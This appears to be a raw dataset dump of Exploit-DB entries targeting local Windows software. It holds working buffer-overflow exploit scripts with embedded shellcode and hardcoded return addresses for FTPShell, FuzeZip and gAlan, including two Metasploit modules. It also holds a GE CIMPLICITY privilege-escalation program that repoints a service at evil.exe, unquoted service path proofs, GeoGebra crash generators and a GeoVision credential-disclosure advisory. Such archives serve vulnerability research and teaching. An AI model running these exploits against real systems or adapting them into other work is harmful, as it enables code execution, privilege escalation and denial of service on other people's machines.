deardaniel/secdata-raw huggingface dataset:
Exploit-DB #39417
Description: FTPShell Client 5.24 - 'Create NewFolder' Local Buffer Overflow
Type: local
Platform: windows
Date: 2016-02-04
Author: Arash Khazaei

Exploit:
#[+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+]
#[+] Exploit Title: FTPShell Client (Add New Folder) Local Buffer Overflow
#[+] Date: 2/2/2016
#[+]Exploit Author: Arash Khazaei
#[+] Vendor Homepage: www.ftpshell.com
#[+]Software Link: http://www.ftpshell.com/download.htm
#[+] Version: 5.24
#[+] Tested on: Windows XP Professional SP3 (Version 2002)
#[+] CVE : N/A
#[+] introduction : Add New Folder In Remote FTP Server And In Name Input Copy Buffer.txt File content 
#[+] or click on Remote Tab Then Click On Create Folder And Copy Buffer.txt In Name Input ...
#[+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+]

#!/usr/bin/python
filename = "buffer.txt"
# Junk A
junk = "A"*452
#77FAB277  JMP ESP
# Windows Xp Professional Version 2002 Service Pack 3
eip = "\x77\xB2\xFA\x77"
# Nops
nops = "\x90"*100
# Shellcode Calc.exe 16Byte
buf=("\x31\xC9"
"\x51"    
"\x68\x63\x61\x6C\x63"    
"\x54"    
"\xB8\xC7\x93\xC2\x77"    
"\xFF\xD0")

#Appending Buffers Together
exploit = junk + eip + nops + buf
#Creating File
length = len(exploit)
print "[+]File name:     [%s]\n" % filename
print "[+]Payload Size: [%s]\n " % length 
print "[+]File Created.\n" 
file = open(filename,"w")
file.write(exploit)
file.close
print exploit


#[+] Very Special Tnx To My Best Friends: TheNonexistent,Nirex,Pr0t3ctor
Exploit-DB #46685
Description: FTPShell Server 6.83 - 'Account name to ban' Local Buffer
Type: local
Platform: windows
Date: 2019-04-10
Author: Dino Covotsos

Exploit:
#!/usr/bin/python
# Exploit Title: FTP Shell Server 6.83 'Account name to ban' Buffer Overflow
# Date: 09-04-2019
# Exploit Author: Dino Covotsos - Telspace Systems
# Vendor Homepage: http://www.ftpshell.com/index.htm
# Version: 6.83
# Software Link : http://www.ftpshell.com/downloadserver.htm
# Contact: services[@]telspace.co.za
# Twitter: @telspacesystems
# Tested on: Windows XP SP3 ENG x86
# CVE: TBC from Mitre
# Initial DOS discovery by: Victor Mondragón
# Created during 2019 intern training
# Greetz Amy, Delicia, Greg, Tonderai, Nzanoa & Telspace Systems Crew
# PoC:
# 1.) Generate ftpshell.txt, copy the contents to clipboard
# 2.) In the application, open 'Manage FTP Accounts' -> "Add Account Name"
# 3.) Paste the contents of ftpshell.txt in "Account name to ban"
# 4.) Click "OK" and calc pops
#JMP ESP - 0x775a693b : jmp esp | asciiprint,ascii {PAGE_EXECUTE_READ} [ole32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.6435 (C:\WINDOWS\system32\ole32.dll)


#msfvenom -a x86 --platform windows -p windows/exec cmd=calc.exe -e x86/shikata_ga_nai -b "\x00\x0a\x0d\x1a\x7d" -f c
shellcode = ("\xdd\xc7\xb8\xa0\x9e\x31\x11\xd9\x74\x24\xf4\x5a\x31\xc9\xb1"
"\x31\x31\x42\x18\x03\x42\x18\x83\xc2\xa4\x7c\xc4\xed\x4c\x02"
"\x27\x0e\x8c\x63\xa1\xeb\xbd\xa3\xd5\x78\xed\x13\x9d\x2d\x01"
"\xdf\xf3\xc5\x92\xad\xdb\xea\x13\x1b\x3a\xc4\xa4\x30\x7e\x47"
"\x26\x4b\x53\xa7\x17\x84\xa6\xa6\x50\xf9\x4b\xfa\x09\x75\xf9"
"\xeb\x3e\xc3\xc2\x80\x0c\xc5\x42\x74\xc4\xe4\x63\x2b\x5f\xbf"
"\xa3\xcd\x8c\xcb\xed\xd5\xd1\xf6\xa4\x6e\x21\x8c\x36\xa7\x78"
"\x6d\x94\x86\xb5\x9c\xe4\xcf\x71\x7f\x93\x39\x82\x02\xa4\xfd"
"\xf9\xd8\x21\xe6\x59\xaa\x92\xc2\x58\x7f\x44\x80\x56\x34\x02"
"\xce\x7a\xcb\xc7\x64\x86\x40\xe6\xaa\x0f\x12\xcd\x6e\x54\xc0"
"\x6c\x36\x30\xa7\x91\x28\x9b\x18\x34\x22\x31\x4c\x45\x69\x5f"
"\x93\xdb\x17\x2d\x93\xe3\x17\x01\xfc\xd2\x9c\xce\x7b\xeb\x76"
"\xab\x74\xa1\xdb\x9d\x1c\x6c\x8e\x9c\x40\x8f\x64\xe2\x7c\x0c"
"\x8d\x9a\x7a\x0c\xe4\x9f\xc7\x8a\x14\xed\x58\x7f\x1b\x42\x58"
"\xaa\x78\x05\xca\x36\x51\xa0\x6a\xdc\xad")

buffer = "A" * 416 + "\x3b\x69\x5a\x77" + "\x90" * 20 + shellcode + "C" * 80

payload = buffer
try:
    f=open("ftpshell.txt","w")
    print "[+] Creating %s bytes evil payload.." %len(payload)
    f.write(payload)
    f.close()
    print "[+] File created!"
except:
    print "File cannot be created"
Exploit-DB #25130
Description: FuzeZip 1.0.0.131625 - Local Buffer Overflow (SEH)
Type: local
Platform: windows
Date: 2013-05-01
Author: RealPentesting

Exploit:
#!/usr/bin/python
# Exploit Title: SEH BUFFER OVERFLOW IN FUZEZIP V.1.0
# Date: 16.Apr.2013 Vulnerability reported
# Exploit Author: Josep Pi Rodriguez, Pedro Guillen Nunez , Miguel Angel de Castro Simon
# Organization: RealPentesting 
# Vendor Homepage: http://fuzezip.com/
# Software Link: http://download.fuzezip.com/FuzeZipSetup.exe
# Version: 1.0.0.131625
# Tested on: Windows 2003 Server Standard SP2
# Exploit-DB note: Needs tweaking tho ...

header1 = (
"\x50\x4B\x03\x04\x0A\x00\x00\x00\x00\x00\xE5\x18\xE9\x3E"
"\xCC\xD4\x7C\x56\x0F\x00\x00\x00\x0F\x00\x00\x00\xBF\x17\x00\x00"
)

#0x003F 335C

seh = "\x9a\x9f"
nextsh = "\x58\x70"

header_m = "\x54\x68\x69\x73\x20\x69\x73\x20\x61\x20\x74\x65\x73\x74\x21\x50\x4B\x01\x02\x14\x00\x0A\x00\x00\x00\x00\x00\xE5\x18\xE9\x3E\xCC\xD4\x7C\x56\x0F\x00\x00\x00\x0F\x00\x00\x00\xBF\x17\x00\x00\x00\x00\x00\x00\x01\x00\x20\x08\x00\x00\x00\x00\x00\x00"
header_f = "\x50\x4B\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00\xED\x17\x00\x00\xEC\x17\x00\x00\x00\x00"

venetian = (
"\x55\x55"
"\x72"
"\x58"
"\x72"
"\x05\x25\x11"
"\x72"
"\x2d\x11\x11"
)

shellcode = (
"PPYAIAIAIAIAQATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1"
"AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JBKLJHDIM0KPM030SYK5P18RQTDK1BNPDK0RLLTKB2MDDKS"
"BO8LO870JMVNQKOP1I0VLOLQQCLLBNLO091HOLMKQ7WZBL0220W4KQBLPTKOROLKQZ0TKOPRX55WPRTPJKQXP0P"
"TKOXLXDKQHO0M1J39SOLQ9DKNT4KM1Z601KONQGPFLGQXOLMM197NXIP2UZTLC3MJXOKCMND2UZBPXTK1HO4KQJ"
"3QVDKLLPKTKB8MLKQJ3TKM4TKKQZ04IOTMTMTQK1KQQQI1JPQKOK0PX1OQJ4KLRJKSVQM1XNSNRM0KPBHD7T3P2"
"QOR4QXPL2WO6KWKOHUVXDPKQKPKPNIGTQDPPS8MYU0RKM0KOZ5PPPP20PPQ0PPOPPPQXYZLO9OK0KOYEU9Y7NQY"
"K0SQXKRM0LQ1L3YJFQZLPQFR7QX7RIK07QWKOJ5PSPWS86WIYNXKOKOXUR3R3R7QXD4JLOKYQKOJ5B73YHGBH45"
"2NPM31KOXUQXC3RMC4M0CYYS1GQGR701ZV2JLRR90VK2KMQVY7OTMTOLKQM1TMOTMTN0I6KPPD1DPPQF261FQ6B"
"60N26R6PSR6RHRYHLOODFKOIE3YYPPNPVOVKONP38KXTGMM1PKOJ5WKJP6UERB6QX6FTUWMUMKOZ5OLM6SLLJ3P"
"KKK045M5WKQ7N3RRRORJM0QCKOHUA"
)

print len(shellcode)

payload = "\x90" * 818 + nextsh + seh + venetian + "\x90" * 109 + "\x72" + shellcode + "\x43" * 4323

buff = payload  
print len(payload)
mefile = open('josep.zip','w')
mefile.write(header1 + buff + header_m + buff + header_f)
mefile.close()
Exploit-DB #10345
Description: gAlan - '.galan' Universal Buffer Overflow
Type: local
Platform: windows
Date: 2009-12-07
Author: Dz_attacker

Exploit:
#!/usr/bin/python

# gAlan (.galan file) Universal Buffer Overflow Exploit
# Author : Dz_Attacker
# Mail    :    dz_attacker@hotmail.fr
# Original : http://www.exploit-db.com/exploits/10339

# win32_exec -  EXITFUNC=process CMD=calc Size=343 Encoder=PexAlphaNum http://metasploit.com
shellcode=(
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x54"
"\x42\x30\x42\x30\x42\x30\x4b\x58\x45\x44\x4e\x33\x4b\x48\x4e\x57"
"\x45\x50\x4a\x57\x41\x50\x4f\x4e\x4b\x48\x4f\x34\x4a\x41\x4b\x58"
"\x4f\x55\x42\x42\x41\x30\x4b\x4e\x49\x54\x4b\x48\x46\x33\x4b\x38"
"\x41\x30\x50\x4e\x41\x53\x42\x4c\x49\x39\x4e\x4a\x46\x38\x42\x4c"
"\x46\x57\x47\x30\x41\x4c\x4c\x4c\x4d\x50\x41\x50\x44\x4c\x4b\x4e"
"\x46\x4f\x4b\x43\x46\x45\x46\x52\x46\x30\x45\x37\x45\x4e\x4b\x38"
"\x4f\x55\x46\x42\x41\x30\x4b\x4e\x48\x46\x4b\x38\x4e\x30\x4b\x54"
"\x4b\x38\x4f\x35\x4e\x51\x41\x30\x4b\x4e\x4b\x48\x4e\x51\x4b\x38"
"\x41\x50\x4b\x4e\x49\x58\x4e\x55\x46\x42\x46\x30\x43\x4c\x41\x53"
"\x42\x4c\x46\x56\x4b\x48\x42\x44\x42\x43\x45\x58\x42\x4c\x4a\x37"
"\x4e\x50\x4b\x48\x42\x54\x4e\x30\x4b\x48\x42\x47\x4e\x41\x4d\x4a"
"\x4b\x58\x4a\x46\x4a\x30\x4b\x4e\x49\x50\x4b\x58\x42\x48\x42\x4b"
"\x42\x50\x42\x30\x42\x30\x4b\x58\x4a\x56\x4e\x33\x4f\x45\x41\x33"
"\x48\x4f\x42\x46\x48\x45\x49\x48\x4a\x4f\x43\x58\x42\x4c\x4b\x47"
"\x42\x35\x4a\x46\x50\x47\x4a\x4d\x44\x4e\x43\x37\x4a\x46\x4a\x49"
"\x50\x4f\x4c\x38\x50\x50\x47\x55\x4f\x4f\x47\x4e\x43\x46\x41\x46"
"\x4e\x56\x43\x36\x42\x50\x5a")

payload =  "Mjik"
payload += "\x41"*1028
payload += "\xd0\x75\x01\x10"    #glib-1_3: CALL ESI
payload += "\x90"*45
payload += shellcode

file = open("exploit.galan","w")
file.write(payload)
file.close()
Exploit-DB #16664
Description: gAlan 0.2.1 - Local Buffer Overflow (Metasploit) (2)
Type: local
Platform: windows
Date: 2010-09-25
Author: Metasploit

Exploit:
##
# $Id: galan_fileformat_bof.rb 10477 2010-09-25 11:59:02Z mc $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::FILEFORMAT

	def initialize(info = {})
		super(update_info(info,
			'Name' => 'gAlan 0.2.1 Buffer Overflow Exploit',
			'Description' => %q{
				This module exploits a stack buffer overflow in gAlan 0.2.1
			By creating a specially crafted galan file, an an attacker may be able
			to execute arbitrary code.
			},
			'License' => MSF_LICENSE,
			'Author' =>
				[
					'Jeremy Brown <0xjbrown41 [at] gmail.com>',
					'loneferret',
				],
			'Version' => '$Revision: 10477 $',
			'References' =>
				[
					[ 'OSVDB', '60897' ],
					[ 'URL', 'http://www.exploit-db.com/exploits/10339' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
					'DisablePayloadHandler' => 'true',
				},
			'Payload' =>
				{
					'Space' => 1000,
					'BadChars' => "\x00\x0a\x0d\x20\x0c\x0b\x09",
					'StackAdjustment' => -3500,
				},
			'Platform' => 'win',
			'Targets' =>
				[
					[ 'Windows XP Universal', { 'Ret' => 0x100175D0} ], 		# 0x100175D0 call esi @ glib-1_3
				],
			'Privileged' => false,
			'DisclosureDate' => 'Dec 07 2009',
			'DefaultTarget' => 0))

		register_options(
			[
				OptString.new('FILENAME', [ false, 'The file name.', 'msf.galan']),
			], self.class)
	end


	def exploit

		sploit = "Mjik"
		sploit << rand_text_alpha_upper(1028)
		sploit << [target.ret].pack('V')
		sploit << "\x90" * 45
		sploit << payload.encoded

		print_status("Creating '#{datastore['FILENAME']}' file ...")
		file_create(sploit)

	end

end
Exploit-DB #10346
Description: gAlan 0.2.1 - Universal Buffer Overflow (Metasploit)
Type: local
Platform: windows
Date: 2009-12-07
Author: loneferret

Exploit:
require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
        include Msf::Exploit::FILEFORMAT

        def initialize(info = {})
                super(update_info(info,
                        'Name' => 'gAlan 0.2.1 Buffer Overflow Exploit',
                        'Description' => %q{     
					This module exploits a stack overflow in gAlan 0.2.1
                         By creating a specially crafted galan file, an an attacker may be able
                         to execute arbitrary code.
			},
                        'License' => MSF_LICENSE,
                        'Author' => [ 'loneferret, original by Jeremy Brown' ],
                        'Version' => '$Revision: 7724 $',
                        'References' =>
                                [
                                        [ 'URL', 'http://www.exploit-db.com/exploits/10339' ],
                                ],
                        'DefaultOptions' =>
                                {
                                        'EXITFUNC' => 'process',
                                },
                        'Payload' =>
                                {
                                        'Space' => 1000,
                                        'BadChars' => "\x00\x0a\x0d\x20\x0c\x0b\x09",
                                        'StackAdjustment' => -3500,
                                },
                        'Platform' => 'win',
                        'Targets' =>
                                [
					[ 'Windows XP Universal', { 'Ret' => 0x100175D0} ], 		# 0x100175D0 call esi @ glib-1_3
                                ],
                        'Privileged' => false,
                        'DisclosureDate' => 'Dec 07 2009',
                        'DefaultTarget' => 0))
                        register_options(
                                [
                                        OptString.new('FILENAME', [ false, 'The file name.', 'evil.galan']),
                                ], self.class)
        end
        def exploit
                sploit = "Mjik"
                sploit << rand_text_alpha_upper(1028)
                sploit << [target.ret].pack('V')
                sploit << "\x90" * 45
                sploit << payload.encoded

                galan = sploit
                print_status("Creating '#{datastore['FILENAME']}' file ...")
                file_create(galan)
        end
end
Exploit-DB #51584
Description: Game Jackal Server v5 - Unquoted Service Path _GJServiceV5_
Type: local
Platform: windows
Date: 2023-07-11
Author: Idan Malihi

Exploit:
# Exploit Title: Game Jackal Server v5 - Unquoted Service Path
# Date: 06/07/2023
# Exploit Author: Idan Malihi
# Vendor Homepage: https://www.allradiosoft.ru
# Software Link: https://www.allradiosoft.ru/en/ss/index.htm
# Version: 5
# Tested on: Microsoft Windows 10 Pro
# CVE : CVE-2023-36166

#PoC

C:\Users>wmic service get name,pathname,displayname,startmode | findstr /i
auto | findstr /i /v "C:\Windows\\" | findstr /i /v """
Game Jackal Server v5
        GJServiceV5                               C:\Program Files
(x86)\SlySoft\Game Jackal v5\Server.exe                                 Auto

C:\Users>sc qc GJServiceV5
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: GJServiceV5
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files (x86)\SlySoft\Game Jackal
v5\Server.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Game Jackal Server v5
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

C:\Users>systeminfo

Host Name:                 DESKTOP-LA7J17P
OS Name:                   Microsoft Windows 10 Pro
OS Version:                10.0.19042 N/A Build 19042
OS Manufacturer:           Microsoft Corporation
Exploit-DB #40069
Description: GE Proficy HMI/SCADA CIMPLICITY 8.2 - Local Privilege Escalation
Type: local
Platform: windows
Date: 2016-07-07
Author: Zhou Yu

Exploit:
/*
# Exploit Title: GE Proficy HMI/SCADA CIMPLICITY 8.2 Local Privilege Escalation Exploit(0 day)
# Vulnerability Discovery and Exploit Author: Zhou Yu
# Email: <504137480@qq.com>
# Version: 8.2
# Tested on: Windows 7 SP1 X32
# CVE : None

Vulnerability Description:
SERVICE_CHANGE_CONFIG Privilege Escalation
C:\Users\lenovo\Desktop\AccessChk>accesschk.exe -q -v -c CimProxy
CimProxy
  Medium Mandatory Level (Default) [No-Write-Up]
  RW Everyone
        SERVICE_ALL_ACCESS

C:\Users\lenovo\Desktop\AccessChk>sc qc CimProxy
[SC] QueryServiceConfig �ɹ�

SERVICE_NAME: CimProxy
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files\Proficy\Proficy CIMPLICITY\exe\Cim
Proxy.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : CIMPLICITY Proxy Service
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem
Usage:
Put evil.exe and the exploit in the same folder and then run the exploit.
*/
#include <windows.h>
#include <stdio.h>
#include <string.h>
void main()
{
	char szPath[MAX_PATH];
	char *t;
    GetModuleFileName(NULL,szPath,MAX_PATH);
	t = strrchr(szPath, 0x5C);
	t[0] = '\\';
	t[1] = '\0';
	strcat(szPath,"evil.exe\"");
	char t1[] = "\"cmd.exe /c ";
	char payload[] = "sc config CimProxy binPath= ";
	strcat(t1,szPath);
	strcat(payload,t1);
 
	system(payload);
	//stop service
	printf("stop service!\n");
	system("net stop CimProxy");
	//start service
	printf("start service!\n");
	system("net start CimProxy");
	
}
Exploit-DB #49007
Description: Genexus Protection Server 9.6.4.2 - 'protsrvservice' Unquoted Service Path
Type: local
Platform: windows
Date: 2020-11-09
Author: SamAlucard

Exploit:
#Exploit Title: Genexus Protection Server 9.6.4.2 - 'protsrvservice' Unquoted Service Path
Service Path
#Exploit Author : SamAlucard
#Exploit Date: 2020-11-08
#Vendor : Genexus
#Version : Genexus Protection Server 9.6.4.2
#Software Link: https://www.genexus.com/en/developers/downloadcenter?data=;;
#Vendor Homepage :  https://www.genexus.com/es/
#Tested on OS: Windows 10 Pro

#Analyze PoC :
==============

C:\>sc qc protsrvservice
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: protsrvservice
        TIPO               : 10  WIN32_OWN_PROCESS
        TIPO_INICIO        : 2   AUTO_START
        CONTROL_ERROR      : 1   NORMAL
        NOMBRE_RUTA_BINARIO: C:\Program Files (x86)\Common
Files\Artech\GXProt1\ProtSrv.exe
        GRUPO_ORDEN_CARGA  :
        ETIQUETA           : 0
        NOMBRE_MOSTRAR     : ProtSrvService
        DEPENDENCIAS       : RPCSS
        NOMBRE_INICIO_SERVICIO: LocalSystem
Exploit-DB #52065
Description: Genexus Protection Server 9.7.2.10 - 'protsrvservice' Unquoted Service Path
Type: local
Platform: windows
Date: 2024-08-04
Author: SamAlucard

Exploit:
#Exploit Title: Genexus Protection Server 9.7.2.10 - 'protsrvservice' Unquoted Service Path Service Path
#Exploit Author : SamAlucard
#Exploit Date: 2024-07-31
#Vendor : Genexus
#Version : Genexus Protection Server 9.7.2.10
#Software Link: https://www.genexus.com/en/developers/downloadcenter?data=;;
#Vendor Homepage :  https://www.genexus.com/es/
#Tested on OS: Windows 10 Pro

#Analyze PoC :
==============

C:\>sc qc protsrvservice
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: protsrvservice
        TIPO               : 10  WIN32_OWN_PROCESS
        TIPO_INICIO        : 2   AUTO_START
        CONTROL_ERROR      : 1   NORMAL
        NOMBRE_RUTA_BINARIO: C:\Program Files
(x86)\CommonFiles\Artech\GXProt1\ProtSrv.exe
        GRUPO_ORDEN_CARGA  :
        ETIQUETA           : 0
        NOMBRE_MOSTRAR     : ProtSrvService
        DEPENDENCIAS       : RPCSS
        NOMBRE_INICIO_SERVICIO: LocalSystem
Exploit-DB #49655
Description: GeoGebra CAS Calculato‪r‬ 6.0.631.0 - Denial of Service (PoC)
Type: local
Platform: windows
Date: 2021-03-16
Author: Brian Rodriguez

Exploit:
# Exploit Title: GeoGebra CAS Calculato窶ｪr窶ｬ 6.0.631.0 - Denial of Service (PoC)
# Date: 2021-03-15
# Exploit Author: Brian Rodriguez
# Vendor Homepage: https://www.geogebra.org
# Software Link: https://www.geogebra.org/download
# Version: 6.0.631.0-offlinecas
# Tested on: Windows 8.1 Pro

# STEPS
# Open the program Calculadora CAS
# Run the python exploit script payload.py, it will create a new payload.txt file
# Copy the content of the file "payload.txt"
# Paste the content from payload.txt in the field "Entrada..."
# Crashed

--> payload.py <--
#!/usr/bin/env python
buffer = "\x41" * 8000

try:
    f = open("payload.txt","w")
    f.write(buffer)
    f.close()
    print ("File created")
except:
    print ("File cannot be created")
Exploit-DB #49654
Description: GeoGebra Classic 5.0.631.0-d - Denial of Service (PoC)
Type: local
Platform: windows
Date: 2021-03-16
Author: Brian Rodriguez

Exploit:
# Exploit Title: GeoGebra Classic 5.0.631.0-d - Denial of Service (PoC)
# Date: 2021-03-15
# Exploit Author: Brian Rodriguez
# Vendor Homepage: https://www.geogebra.org
# Software Link: https://www.geogebra.org/download
# Version: 5.0.631.0-d
# Tested on: Windows 8.1 Pro

#STEPS
# Open the program GeoGebra
# Run the python exploit script payload.py, it will create a new payload.txt file
# Copy the content of the file "payload.txt"
# Paste the content in the field "Entrada:"
# Crashed

--> payload.py <--
#!/usr/bin/env python
buffer = "\x41" * 800000

try:
    f = open("payload.txt","w")
    f.write(buffer)
    f.close()
    print ("File created")
except:
    print ("File cannot be created")
Exploit-DB #49653
Description: GeoGebra Graphing Calculato‪r‬ 6.0.631.0 - Denial Of Service (PoC)
Type: local
Platform: windows
Date: 2021-03-16
Author: Brian Rodriguez

Exploit:
# Exploit Title: GeoGebra Graphing Calculato窶ｪr窶ｬ 6.0.631.0 - Denial Of Service (PoC)
# Date: 2021-03-15
# Exploit Author: Brian Rodriguez
# Vendor Homepage: https://www.geogebra.org
# Software Link: https://www.geogebra.org/download
# Version: 6.0.631.0-offlinegraphing
# Tested on: Windows 8.1 Pro

# STEPS
# Open the program Graficadora
# Run the python exploit script payload.py, it will create a new payload.txt file
# Copy the content of the file "payload.txt"
# Paste the content from payload.txt in the field "Entrada..."
# Crashed

--> payload.py <--
#!/usr/bin/env python
buffer = "\x41" * 8000

try:
    f = open("payload.txt","w")
    f.write(buffer)
    f.close()
    print ("File created")
except:
    print ("File cannot be created")
Exploit-DB #52423
Description: GeoVision ASManager Windows Application 6.1.2.0 - Credentials Disclosure
Type: local
Platform: windows
Date: 2025-08-26
Author: Giorgi Dograshvili

Exploit:
# Exploit Title: GeoVision ASManager Windows Application 6.1.2.0 - Credentials Disclosure
# Date: 19-MAR-2025
# Exploit Author: Giorgi Dograshvili [DRAGOWN]
# Vendor Homepage: https://www.geovision.com.tw/
# Software Link: https://www.geovision.com.tw/download/product/
# Version: 6.1.2.0 or less
# Tested on: Windows 10 | Kali Linux
# CVE : CVE-2025-26263
# PoC: https://github.com/DRAGOWN/CVE-2025-26263

GeoVision ASManager Windows desktop application with the version 6.1.2.0 or less, is vulnerable to credentials disclosure due to improper memory handling in the ASManagerService.exe process.

Requirements
To perform successful attack an attacker requires:
- System level access to the GV-ASManager windows desktop application with the version 6.1.2.0 or less;
- A high privilege account to dump the memory.

Impact
The vulnerability can be leveraged to perform the following unauthorized actions:
- An attacker with high privilege system user, who isn't authorized to access GeoVision ASManager, is able to:
-- Dump ASManager accounts credentials;
-- Authenticate in ASManager.
- After the authenticating in ASManager, an attacker will be able to:
-- Access the resources such as monitoring cameras, access cards, parking cars, employees and visitors, etc.
-- Make changes in data and service network configurations such as employees, access card security information, IP addresses and configurations, etc.
-- Disrupt and disconnect services such as monitoring cameras, access controls.
-- Clone and duplicate access control data for further attack scenarios.

PoC
The steps for a successful exploitation are described in the following GitHub article with screenshots:
- https://github.com/DRAGOWN/CVE-2025-26263

After a successful attack, you will get administrative access to:
- ASManager - Access & Security Management software in OS
- ASWeb - Access & Security Management 
- TAWeb - Time and Attendance Management 
- VMWeb - Visitor Management